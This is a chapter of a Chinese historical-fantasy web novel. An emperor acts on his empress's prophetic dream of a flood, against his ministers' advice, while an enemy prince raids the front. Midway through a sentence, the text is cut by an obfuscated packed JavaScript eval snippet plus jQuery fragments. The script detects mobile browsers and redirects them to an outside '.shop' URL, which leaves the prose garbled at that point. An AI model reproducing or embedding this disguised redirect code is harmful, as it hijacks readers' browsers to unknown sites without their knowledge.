七月半,周京,皇宫。
“不要……快跑……不要——”
“阿慈,阿慈?”
苏念慈一瞬间从梦中惊醒,她紧紧的掐着被角,低低喘息着,钟离晏也被惊醒,青年起身担忧的望着她,伸手想要搂住女子,苏念慈回神后一下回抱住了他。
钟离晏:“是不是做噩梦了?阿慈别怕,别怕。”
青年抚摸着她的背,轻轻哄着她,平复着怀中妻子刚刚的慌乱,今夜中元,本就诡异,阿慈又有“做梦”的毛病,有时候,钟离晏总是忍不住担心她,甚至是,害怕。
苏念慈在他的怀里缓和了一会,想着刚刚梦中的一幕——
是山洪。
东青郡的山洪……云江军心不稳……原来当年苏家被灭门后,还有那么多的事情……那书中甚至都未提及,寥寥数语就定了周国的灭亡……
苏念慈闭了闭眼,藏起心里无端的难过和怅惘,她靠着钟离晏的胸膛,亲昵而自然的用蹭了蹭他,随后抿唇抬头望着他笑,“没事……做了个噩梦罢了。”
钟离晏安抚着她,他回忆着这些天苏念慈的生活,随后自然道,“你这几天吃的也少,朕总觉得你瘦了,如今天也冷了,你又爱赏雨……”
“朕叫太医定时来给你请平安脉——明日就叫人来吧,朕也安心些。”
“你不必担心云江那边,有季青在,朕都安排好了。”
苏念慈笑了,女子垂眸静静的,伴着青年有些絮叨但温柔的声音点头,“夫君,我没事。”
她默了一瞬起身,女子的长发拂过青年的臂膀,一瞬间似乎钟离晏也意识到了什么,他们对视着,苏念慈对钟离晏平静道,“夫君,你相信我吗?”
像是回到了过去的某一刻。
他们对坐着,少女对青年道,你应该信我——
“朕相信你,”
钟离晏看着自己的妻子,皇后,爱人……此刻,深夜,他以一个帝王的名义,丈夫的身份,回应她,“念慈,朕相信你。”
“告诉我吧,”
他握住女子的手,缓缓而温柔,“你梦见了什么?”
夜深潇潇,似乎一刻云江寒凉的水流滔滔翻滚着,女子闭眼,顺着风,看向那悠悠的深山,看向,东郡万家的灯火——
“陛下,”
“是天灾,是东青郡,山洪——”
“要快,我们必须要快,战事已起,山洪若降,我大周东郡,将饿殍遍野,生灵涂炭,以至……”
以至风雨飘摇,社稷倾覆。
……
大殿之内,鎏金铜炉青烟袅袅,文武百官按班次肃立。
昨日从云江前线传回的军报尚在御案摊着,东青郡舆图也在一旁搁置着,帝王垂眸不语,只是轻点舆图,听着通政使司主事躬身奏抱战情,
“陛下,云江前线与盛国对峙,近日敌人增兵西翼,我军需速补粮草十万石、增派兵力五千,否则恐难守住左翼防线,错失战机。”
钟离晏指尖轻叩御案,他默了一瞬,随后目光扫过殿内沉声道,“云江战事牵动国本,朕自会统筹——盛国先行破坏合约,故朕兴兵伐盛,本意为结束纷争、一统天下,让四海百姓皆享太平,而非为了疆域,置子民生死于不顾。”
“今日议会,朕另有一事关乎东青郡数万生民,更需即刻定夺——昨夜钦天监密奏,观东南星象异动,查东青郡山地脉相,推算一月之后,郡内山谷河道必发山洪,十余县将遭波及,若不提前处置,恐成滔天大祸。”
“陛下,万万不可!”话音未落,魏元修已跨步出列,语气震惊中却带着坚定,
“东青郡乃云江前线粮草转运咽喉,此刻征调民力转移百姓、修堤备汛,粮草运输必滞涩。前线将士若断粮,云江防线一旦崩溃,盛国便可趁势反扑,我朝征伐之业将毁于一旦,所谓统一更会遥遥无期,此乃……”
此乃……因小失大……
魏相也知刚刚此言不妥,可实在是……
见状朝堂下兵部尚书等人也紧随其后,躬身附议,“陛下,敢问钦天监可敢保证此事,如今云江战事正处关键时刻,若行山洪对策,怕是盛国会因此兴兵,攻我大周啊!”
钟离晏未语,帝王静静垂视着他们,眼见殿内气氛愈发凝重,魏显站出躬身道,
“陛下!云江兵力本就吃紧,若再分兵东青郡护民,盛国必趁机强攻。何况钦天监观星推算,难保无半分差错,不如再等三五日,待云江前线战局稍稳,再议东青郡之事不迟。”
魏显自上次夏国使者一事后便得了钟离晏重用,青年正值壮年,从前无意入仕,如今既入,便是想助周国一统,做一代名臣——别的不论,此刻云江周盛对峙,为了一句星象,此大业之机,怕是这朝堂之内,没有几人愿意浪费。
“等?”钟离晏忽然出声打断,玉圭被按出浅痕,帝王皱眉,声音里也难得添了几分沉厉和冷肃,
“等至山洪漫过东青郡,数万百姓葬身洪流,尸骨堵塞河道,继而引发瘟疫蔓延,那才是真正的国之浩劫——”
“朕常思,上天若真有统一之兆,必不会让朕弃子民于危难——昨夜朕亦得一梦,梦中,东青郡山洪滔天,屋舍倾覆,孩童哭号,断木漂流,此百姓流离之景,朕醒后仍历历在目!”
“朕急召钦天监问询,其所言恰与梦境相合,这何尝不是上天示警?若朕连眼前的东青百姓都护不住,即便日后灭了盛国、统了天下,又有何颜面称‘仁君’,又如何让四海民心归服?”
殿内瞬间寂静,先前附和劝阻的官员皆面露迟疑,魏相握着朝笏的手紧了紧,却一时无言反驳。
他顿了下,艰难而深沉道,“可云江粮草转运若受阻,盛国一旦察觉,恐会……”
钟离晏再次抬手,语气斩钉截铁,“粮草从南境诸州暂调,走海路转运云江,虽多耗三五日,却能保前线与东青郡两利,兵力从各地卫所抽派一半,速护东青郡百姓转移。”
“朕意已决——即刻传旨东青郡布政使,十日之内务必完成低洼处百姓转移,国库拨款百万两备粮药、建避难棚,若有延误或克扣,以通敌论处!”
“魏显,”
帝王命声传来,魏显站出沉声道,“臣在!”
“此事由你来办,朕命你亲去南境安排事宜——”
钟离晏话音未落,御案上东青郡的舆图颤动一瞬,殿外已经传来急促的报声——
“陛下,云江急报!”
一声声报来,殿内一瞬间安静无比,像是等了许久,又像是一息之间,一驿卒身披尘土、跌跌撞撞闯入间手中高举军报,声线发颤喊道,
“陛下!云江急报——盛国宸王亲率精锐,绕开正面防线夜袭右翼营寨,营寨已破,樊将军重伤,敌军正往粮道方向逼近!”
他声话落,殿内瞬间哗然,兵部尚书色骤变,对帝王急道,“陛下!盛国宸王素有‘战神’之名,向来兵行险着,此番突袭分明是要断我军粮草!东青郡调粮已分走南境运力,如今云江粮道再受威胁,前线兵士恐无粮再战,若不速派援军,云江防线不出五日必破!”
户部尚书苏成也立刻思索附议,“宸王亲征来势汹汹,若照陛下刚刚所言,如今各地可调之兵,一半已派往东青郡护民,剩余兵力需集守京城——再分兵云江,京中防卫便成空壳,一旦盛国另有图谋,后果不堪设想啊!”
在殿内的武将也站出纷纷请命“愿率
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304149|195182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲兵驰援”,只是事实在此,他们也难掩底气不足,“微臣亲兵不足五千,面对宸王精锐,怕是杯水车薪……”
钟离晏端坐在龙椅上,指尖缓缓收回,目光扫过殿内略显慌乱的群臣,语气平稳却带着不容置疑的分量,“诸卿稍安,此事朕已有盘算。”
他先对兵部尚书道,“你即刻从京畿卫所调兵,交勇毅候统领,即刻启程驰援云江,务必缠住宸王主力;再传旨云江,全力救治樊将军,同时收缩防线、坚壁清野,等援军到后再谋反击。”
说罢,他的目光越过魏丞相,落在殿侧躬身侍立的魏显身上,语气斩钉截铁,
“魏显,粮草分拨与东青郡后续安置之事,仍由你全权负责。你即刻动身去南境,先督办粮草分运——一半走海路加急送云江,另一半先稳住东青郡百姓,待南境事了,你再亲赴东青郡,查看百姓安置情况,至于乡绅暂借的物资等,事后朝廷自有补偿,绝不能让他们吃亏。”
魏显闻言决然,上前一步道,“臣遵旨!必不负陛下所托,既保前线粮草,亦护东青百姓!”
风雨欲来,危寒之秋,人祸可敌,天灾却难挡——
陛下对山洪一事坚信不疑,盛国来兵气势汹汹,云江水远,兵行险要,二十年前赤水横流地模样尚在眼前,而如今,这天下,又要乱了。
最后,钟离晏目光扫过满殿群臣,青年肃穆一叹,往日温和地帝王也变得深沉严肃,语气更是不容置疑,
“诸卿记好,朕护百姓是为心安,守疆土是为一统,我大周绝不让二十年前的事再重演!你们只管把朕吩咐地差事办妥当,真到了那一步,朕自有决断——你们都退下,魏相留下。”
……
殿内,唯帝王与丞相两人。
沉默半晌后魏元修躬身,对钟离晏道,“陛下,盛国此次来势汹汹,尤其那宸王,似有估孤注一掷之心,如今您执意要救东青,我们的援军若是不成……”
他话未说完,只是钟离晏,甚至是刚刚离去的朝臣们都懂得——不成,怕是周国,就危险了。
钟离晏闻言顿了顿,缓缓起身,玄金龙袍垂落间自生威严,“若援军到了云江,战局还是撑不住,那便不是兵力够不够的事——是朕这个当君王的,该亲去云江,跟前线将士们一起扛。”
这话一出,殿内瞬间静了,魏元修瞪大眼睛,一把年纪“咚”地一下就叩首道,
“陛下万万不可!龙体乃我周国根本,亲赴战场太过凶险,臣等必尽全力安排调度,绝不能让陛下涉险!”
陛下……打的是这个主意……难怪……
“你不必再说,”钟离晏抬手止住他,语气添了几分深沉,
“二十年前,周盛云江一战,先皇便因顾忌国力选了和谈——犹记最初我周军便大意抗敌,分明军力更甚,却在败仗中一次次动摇军心,以至最后云江赤水,留下今日隐患。”
“如今朕要伐盛,既要护着百姓不受苦,更要守住家国疆土,若连前线都不敢去,又谈何一统天下?”
他目光落在魏元修身上,语气郑重,“真到了朕要御驾亲征那一步,京城便全托付给魏相——你需替朕稳住朝堂秩序,协调各州物资补给前线,还要照看好东青郡的百姓,绝不能让后方出乱。”
“朝堂之事,朕只信你一人。”
魏元修闻言,心头一震,当即叩首沉声,“臣遵旨!若陛下真赴前线,臣必以性命守好周京,绝不让陛下分心!”
他年事已高,难得再得新帝信任,如今此风雨时局,他就是拿命硬拼,也要守住这托付和责任!
钟离晏沉默着看着魏元修的保证,不自觉地,青年看向殿外透进地半分阳光,轻轻暖暖,寒凉无比。